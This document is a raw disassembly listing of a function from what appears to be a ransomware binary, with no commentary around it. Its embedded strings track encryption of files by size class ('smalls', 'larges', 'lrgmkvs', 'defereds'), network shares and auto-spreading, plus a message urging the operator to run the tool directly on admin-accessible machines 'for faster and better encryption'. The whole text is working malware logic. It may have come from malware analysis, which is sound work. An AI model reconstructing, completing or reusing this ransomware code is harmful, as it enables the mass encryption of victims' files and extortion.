mov rcx, qword [rsp + 0x160]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [r8 + 8], rdx
mov rax, qword [rax + 8]
mov qword [rax], r8
mov qword [rsp + 0x168], 0
cmp rcx, r12
je 0x14003bad1
nop dword [rax + rax]
mov rsi, qword [rcx + 8]
call fcn.14006fbd0
mov rcx, rsi
cmp rsi, r12
jne 0x14003bac0
movsxd rax, ebx
mov rcx, qword [0x140288260]
lea rdi, [rax + rax*2]
mov rsi, qword [rcx + rdi*8]
lea rcx, [rsp + 0x2e8]
lea rdx, [rsp + 0xc0]
call fcn.1400721d0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
lea rbx, [0x1402897e0]
mov qword [rsp + 0x58], rbx
lea r14, [0x14028843c]
mov qword [rsp + 0x50], r14
lea r15, [0x140288438]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 0
lea rdx, [rsp + 0x2e8]
mov rcx, rsi
xor r9d, r9d
call fcn.14001ba80
test byte [rsp + 0x2e8], 1
je 0x14003bb7c
mov rcx, qword [rsp + 0x2f8]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_smalls_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003c126
mov rcx, qword [rsp + 0x90]
jmp 0x14003c12e
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003bbd9
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rcx, qword [rax + r15*8]
add rcx, 0x30
mov byte [rsp + 0x230], 0xc
mov qword [rsp + 0x232], rsi
mov dword [rsp + 0x23a], 0x730065
mov word [rsp + 0x23e], 0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 2
lea rdx, [rsp + 0x230]
mov r9d, 1
call fcn.14001ba80
test byte [rsp + 0x230], 1
je 0x14003bc7c
mov rcx, qword [rsp + 0x240]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_larges_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003bcac
mov rcx, qword [rsp + 0x90]
jmp 0x14003bcb4
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003bcd2
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rcx, qword [rax + r15*8]
add rcx, 0x60
mov byte [rsp + 0x218], 0xc
mov qword [rsp + 0x21a], rsi
mov dword [rsp + 0x222], 0x730065
mov word [rsp + 0x226], 0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0xa
mov byte [rsp + 0x28], 4
lea rdx, [rsp + 0x218]
mov r9d, 1
call fcn.14001ba80
test byte [rsp + 0x218], 1
je 0x14003bd75
mov rcx, qword [rsp + 0x228]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_lrgmkvs_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003bda5
mov rcx, qword [rsp + 0x90]
jmp 0x14003bdad
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003bdcb
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov r12, qword [rsp + 0x160]
jmp 0x14003bde5
mov r12, qword [r12 + 8]
lea rax, [rsp + 0x158]
cmp r12, rax
je 0x14003be26
mov rcx, qword [r12 + 0x10]
call fcn.140098ff0
test al, al
jne 0x14003be0a
mov rcx, qword [r12 + 0x10]
call fcn.140074b60
mov rsi, qword [r12 + 0x10]
test rsi, rsi
je 0x14003bde0
mov rcx, rsi
call fcn.140074b40
mov rcx, rsi
call fcn.14006fbd0
jmp 0x14003bde0
cmp qword [rsp + 0x168], 0
lea r12, [rsp + 0x158]
je 0x14003be81
mov rax, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x160]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [r8 + 8], rdx
mov rax, qword [rax + 8]
mov qword [rax], r8
mov qword [rsp + 0x168], 0
cmp rcx, r12
je 0x14003be81
nop dword [rax]
mov rsi, qword [rcx + 8]
call fcn.14006fbd0
mov rcx, rsi
cmp rsi, r12
jne 0x14003be70
mov rax, qword [0x140288260]
mov rsi, qword [rax + r15*8]
lea rcx, [rsp + 0x330]
lea rdx, [rsp + 0xc0]
call fcn.1400721d0
add rsi, 0x18
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 1
lea rdx, [rsp + 0x330]
mov rcx, rsi
xor r9d, r9d
call fcn.14001ba80
test byte [rsp + 0x330], 1
je 0x14003bf14
mov rcx, qword [rsp + 0x340]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_normalls_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003bf44
mov rcx, qword [rsp + 0x90]
jmp 0x14003bf4c
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003bf6a
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rsi, qword [rax + r15*8]
lea rcx, [rsp + 0x318]
lea rdx, [rsp + 0xc0]
call fcn.1400721d0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 0
lea rdx, [rsp + 0x318]
mov rcx, rsi
xor r9d, r9d
call fcn.14001ba80
test byte [rsp + 0x318], 1
je 0x14003bff9
mov rcx, qword [rsp + 0x328]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_smalls_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003c029
mov rcx, qword [rsp + 0x90]
jmp 0x14003c031
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003c04f
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rsi, qword [rax + r15*8]
lea rcx, [rsp + 0x300]
lea rdx, [rsp + 0xc0]
call fcn.1400721d0
add rsi, 0x78
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 5
lea rdx, [rsp + 0x300]
mov rcx, rsi
xor r9d, r9d
call fcn.14001ba80
test byte [rsp + 0x300], 1
je 0x14003c0e2
mov rcx, qword [rsp + 0x310]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_defereds_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003c112
mov rcx, qword [rsp + 0x90]
jmp 0x14003c11a
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
jmp 0x14003c609
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003c14c
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rsi, qword [rax + rdi*8]
lea rcx, [rsp + 0x2d0]
lea rdx, [rsp + 0xc0]
call fcn.1400721d0
add rsi, 0x18
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 1
lea rdx, [rsp + 0x2d0]
mov rcx, rsi
xor r9d, r9d
call fcn.14001ba80
test byte [rsp + 0x2d0], 1
je 0x14003c1df
mov rcx, qword [rsp + 0x2e0]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_normalls_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003c20f
mov rcx, qword [rsp + 0x90]
jmp 0x14003c217
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003c235
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rcx, qword [rax + rdi*8]
add rcx, 0x30
mov byte [rsp + 0x200], 0xc
movabs rsi, 0x6700720061006c
mov qword [rsp + 0x202], rsi
mov dword [rsp + 0x20a], 0x730065
mov word [rsp + 0x20e], 0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 2
lea rdx, [rsp + 0x200]
mov r9d, 1
call fcn.14001ba80
test byte [rsp + 0x200], 1
je 0x14003c2e2
mov rcx, qword [rsp + 0x210]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_larges_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003c312
mov rcx, qword [rsp + 0x90]
jmp 0x14003c31a
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003c338
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rcx, qword [rax + rdi*8]
add rcx, 0x48
mov byte [rsp + 0x1e8], 0xc
mov qword [rsp + 0x1ea], rsi
mov dword [rsp + 0x1f2], 0x730065
mov word [rsp + 0x1f6], 0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 3
lea rdx, [rsp + 0x1e8]
mov r9d, 1
call fcn.14001ba80
test byte [rsp + 0x1e8], 1
je 0x14003c3db
mov rcx, qword [rsp + 0x1f8]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_vlrges_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003c40b
mov rcx, qword [rsp + 0x90]
jmp 0x14003c413
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003c431
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rcx, qword [rax + rdi*8]
add rcx, 0x60
mov byte [rsp + 0x1d0], 0xc
mov qword [rsp + 0x1d2], rsi
mov dword [rsp + 0x1da], 0x730065
mov word [rsp + 0x1de], 0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0xa
mov byte [rsp + 0x28], 4
lea rdx, [rsp + 0x1d0]
mov r9d, 1
call fcn.14001ba80
test byte [rsp + 0x1d0], 1
je 0x14003c4d4
mov rcx, qword [rsp + 0x1e0]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_lrgmkvs_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003c504
mov rcx, qword [rsp + 0x90]
jmp 0x14003c50c
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003c52a
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [0x140288260]
mov rcx, qword [rax + rdi*8]
add rcx, 0x78
mov byte [rsp + 0x1b8], 0xc
mov qword [rsp + 0x1ba], rsi
mov dword [rsp + 0x1c2], 0x730065
mov word [rsp + 0x1c6], 0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0xa
mov byte [rsp + 0x28], 5
lea rdx, [rsp + 0x1b8]
xor r9d, r9d
call fcn.14001ba80
test byte [rsp + 0x1b8], 1
je 0x14003c5ca
mov rcx, qword [rsp + 0x1c8]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_defered_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003c5fa
mov rcx, qword [rsp + 0x90]
jmp 0x14003c602
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003c620
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov rax, qword [r13 + 0x58]
lock inc dword [rax]
test byte [rsp + 0xc0], 1
je 0x14003c63e
mov rcx, qword [rsp + 0xd0]
call fcn.14006fbd0
cmp qword [rsp + 0x168], 0
je 0x14003c691
mov rax, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x160]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [r8 + 8], rdx
mov rax, qword [rax + 8]
mov qword [rax], r8
mov qword [rsp + 0x168], 0
cmp rcx, r12
je 0x14003c691
nop dword [rax]
mov rsi, qword [rcx + 8]
call fcn.14006fbd0
mov rcx, rsi
cmp rsi, r12
jne 0x14003c680
movaps xmm6, xmmword [rsp + 0x3c0]
movaps xmm7, xmmword [rsp + 0x3d0]
movaps xmm8, xmmword [rsp + 0x3e0]
movaps xmm9, xmmword [rsp + 0x3f0]
movaps xmm10, xmmword [rsp + 0x400]
movaps xmm11, xmmword [rsp + 0x410]
movaps xmm12, xmmword [rsp + 0x420]
add rsp, 0x438
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [0x1401fb2e8]
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
lea rdx, str.wont_encrypt_its_shares
lea rcx, [rsp + 0x60]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xf0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
je 0x14003c746
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
cmp byte [0x140227130], 0
je 0x14003c763
lea rdx, str._and_wont_autoSpread_to_it
lea rcx, [rsp + 0xe0]
call fcn.140072e90
test byte [rsp + 0xe0], 1
je 0x14003c793
mov rcx, qword [rsp + 0xf0]
jmp 0x14003c79b
mov rcx, r15
mov r15, qword [rsp + 0xb8]
movzx r14d, byte [r15]
mov eax, r14d
and al, 1
je 0x14003c7a7
mov r14, qword [r15 + 8]
jmp 0x14003c7aa
lea rcx, [rsp + 0xe2]
mov dl, 1
call fcn.140012160
jmp 0x14003c88f
shr r14, 1
lea rdi, [r14 + 0x9a]
cmp rdi, rcx
ja 0x14003c9b5
cmp rdi, 0xa
ja 0x14003c7e8
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], 0
add dil, dil
mov byte [rsp + 0xe0], dil
xor esi, esi
jmp 0x14003c828
mov rbx, rdi
or rbx, 7
inc rbx
js 0x14003c9de
lea rcx, [rbx + rbx]
call fcn.14006fb50
mov rsi, rax
or rbx, 1
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xe8], rdi
movzx eax, byte [r15]
and al, 1
mov edi, ebx
test dil, 1
lea rdi, [rsp + 0xe2]
cmove rsi, rdi
test al, al
je 0x14003c840
mov rbp, qword [r15 + 0x10]
lea rbx, [rsi + r14*2]
lea r8, [r14 + r14]
mov rcx, rsi
mov rdx, rbp
call sub.msvcrt.dll_memmove
lea rdx, str._has_admin_access__not_encrypting_admin_netwroks_is_enabled_this_ip_wont_be_encrypted_connect_and_run_app_in_it_directly_for_faster_and_better_encryption
mov r8d, 0x134
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov word [rsi + r14*2 + 0x134], 0
test byte [rsp + 0xe0], 1
je 0x14003c885
mov rdi, qword [rsp + 0xf0]
mov rcx, rdi
mov dl, 1
call fcn.140012160
test byte [rsp + 0xe0], 1
je 0x14003c8a6
mov rcx, qword [rsp + 0xf0]
call fcn.14006fbd0
test byte [rsp + 0x80], 1
je 0x14003c8bd
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0xc0], 1
lea r12, [rsp + 0x158]
jne 0x14003c631
jmp 0x14003c63e
lea rcx, [rsp + 0x80]
call fcn.140002ec0
call fcn.140002f60
lea rcx, [rsp + 0x60]
call fcn.140002ec0
mov rcx, rsi
call fcn.14003da90
lea rcx, [rsp + 0xe0]
call fcn.140002ec0
call fcn.140002f60
lea rcx, [rsp + 0x60]
call fcn.140002ec0
lea rcx, [rsp + 0xa0]
call fcn.140002ec0
lea rcx, [rsp + 0x60]
call fcn.140002ec0
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
lea rcx, [rsp + 0x190]
call fcn.140002ec0
lea rcx, [rsp + 0x60]
call fcn.140002ec0
lea rcx, [rsp + 0x60]
call fcn.140002ec0
lea rcx, [rsp + 0x60]
call fcn.140002ec0
lea rcx, [rsp + 0xa0]
call fcn.140002ec0
lea rcx, [rsp + 0xa0]
call fcn.140002ec0
call fcn.140002f60
lea rcx, [rsp + 0x60]
call fcn.140002ec0
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
lea rcx, [rsp + 0xe0]
call fcn.140002ec0
call fcn.140002f60
lea rcx, [rsp + 0x100]
call fcn.140030800
lea rcx, [rsp + 0x60]
call fcn.140002ec0
call fcn.140002f60
call fcn.140002f60
jmp 0x14003d13c
mov rsi, rax
test byte [rsp + 0xa0], 1
je 0x14003d156
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14003d20e
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
jmp 0x14003d20e
test byte [rsp + 0xe0], 1
je 0x14003d28e
mov rcx, qword [rsp + 0xf0]
call fcn.14006fbd0
jmp 0x14003d28e
test byte [rsp + 0x80], 1
je 0x14003d3d6
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
jmp 0x14003d3d6
test byte [rsp + 0xc0], 1
je 0x14003d3ed
mov rcx, qword [rsp + 0xd0]
call fcn.14006fbd0
lea rcx, [rsp + 0x158]
call fcn.14003da30
mov rcx, rsi
call fcn.14009a110
int3